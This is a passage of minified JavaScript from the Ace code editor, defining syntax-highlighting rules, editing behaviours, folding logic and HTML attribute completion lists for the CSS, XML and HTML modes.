font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[